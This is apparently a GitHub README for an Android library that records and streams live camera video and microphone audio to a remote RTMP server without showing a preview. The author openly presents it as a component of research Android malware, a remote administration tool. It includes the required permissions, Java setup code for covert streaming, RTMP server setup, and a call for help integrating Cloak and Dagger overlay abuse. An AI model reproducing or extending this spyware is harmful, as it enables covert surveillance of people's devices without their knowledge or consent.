Skip to content
Live Hidden Camera is a library which record live video and audio from Android device without displaying a preview.
Branch: master
Clone or download
mirsamantajbakhsh AAR updated
MainActivity of the LHC is removed totally.
Latest commit 339c49b Jun 18, 2019
Type Name Latest commit message Commit time
Failed to load latest commit information.
ScreenShots Screenshots added. Jun 2, 2019
app/src/main Main Activity totally removed. Jun 18, 2019
.gitattributes Create .gitattributes Jun 3, 2019
.gitignore Initial commit Jun 2, 2019 AAR updated Jun 18, 2019

Live Hidden Camera

Live Hidden Camera (LHC) is a library which record live video and audio from Android device without displaying a preview. Live Hidden Camera


I'm working on a research based Android Malware and decided to create a multi function RAT (Remote Administration Tool). I was working on Live Streams which I've found some RTMP based open sources projects including:

Therefore, I've started searching. Finally, I could create Live Hidden Camera which only needs a CONTEXT for stream live video, by combining these two projects:


How to use

I've created a library to make it more usable. The only requirement is to add the library to your project and pass the Rtmp URL to it.

Additionally you should care about:

  1. Your application should have the following permissions in Manifest.xml:
<uses-permission android:name="android.permission.INTERNET" />  
<uses-permission android:name="android.permission.CAMERA" />  
<uses-permission android:name="android.permission.RECORD_AUDIO" />  
<uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW" />
  1. You should handle that the declared permissions are granted to your application

Adding library

The usage of the library is straight. Just add the following library to the file of your project.

compile ''

  • Update: In the previouls release, Main Activity with Launcher filter was in library, which made the application (that uses the library), had two icons. In this release, the filter is commented in Manifest.

Creating RTMP server

Before using the library, you should have deployed an Rtmp server. I've ued Ant Media Server. There is a nice guide on Ant Media Server installation in THIS LINK.

After starting the Ant Media Rtmp server, you should see something like this: Ant Media Server

Sample Code

After adding the library to your project, do the following steps:

  1. Create a class which implements: RtmpHandler.RtmpListener, SrsRecordHandler.SrsRecordListener, SrsEncodeHandler.SrsEncodeListener

  2. Create two fields (one for publish and one for preview):

    private SrsPublisher mPublisher;
    private SrsCameraView mCameraView;

  3. Implement a function for starting the Live Hidden Camera:

    private void initHiddenCam(String rtmpURL) {  
    HiddenCameraLayout l = new HiddenCameraLayout(getApplicationContext(), new HiddenCameraLayout.PermissionHandler() {  
  public void onPermissionNotGrantedException(Exception ex) {  
            Log.d("HCL", "Ask user to grant permission.");  
            Log.e("HCL", ex.getMessage());  
    //start config  
  CameraConfig cameraConfig = new CameraConfig()  
    mCameraView = l.initHiddenLayout(cameraConfig);  
    mPublisher = new SrsPublisher(mCameraView);  
    mPublisher.setEncodeHandler(new SrsEncodeHandler(this));  
    mPublisher.setRtmpHandler(new RtmpHandler(this));  
    mPublisher.setRecordHandler(new SrsRecordHandler(this));  
    mPublisher.setPreviewResolution(640, 360);  
    mPublisher.setOutputResolution(640, 360);  


Green Screen

The main problem I currently facing, is the green screen. I've described the error in StackOverflow in

If you have any suggestion about this problem, or any other idea, do not hesitate contacting me.

Constant View

Because of the overlay of the Live Hidden Camera, no other apps can be clicked. The clicks are only accepted by the LHC. Check TODO section.


There is a project called Cloak and Dagger which unraveled a very dangerous ability in Android. Any contribution in using the Cloack and Dagger in LHC is welcomed.

Check the Cloak and Dagger here:



You may donate this project using my BitCoin address at:




You can reach me from my website:

You can’t perform that action at this time.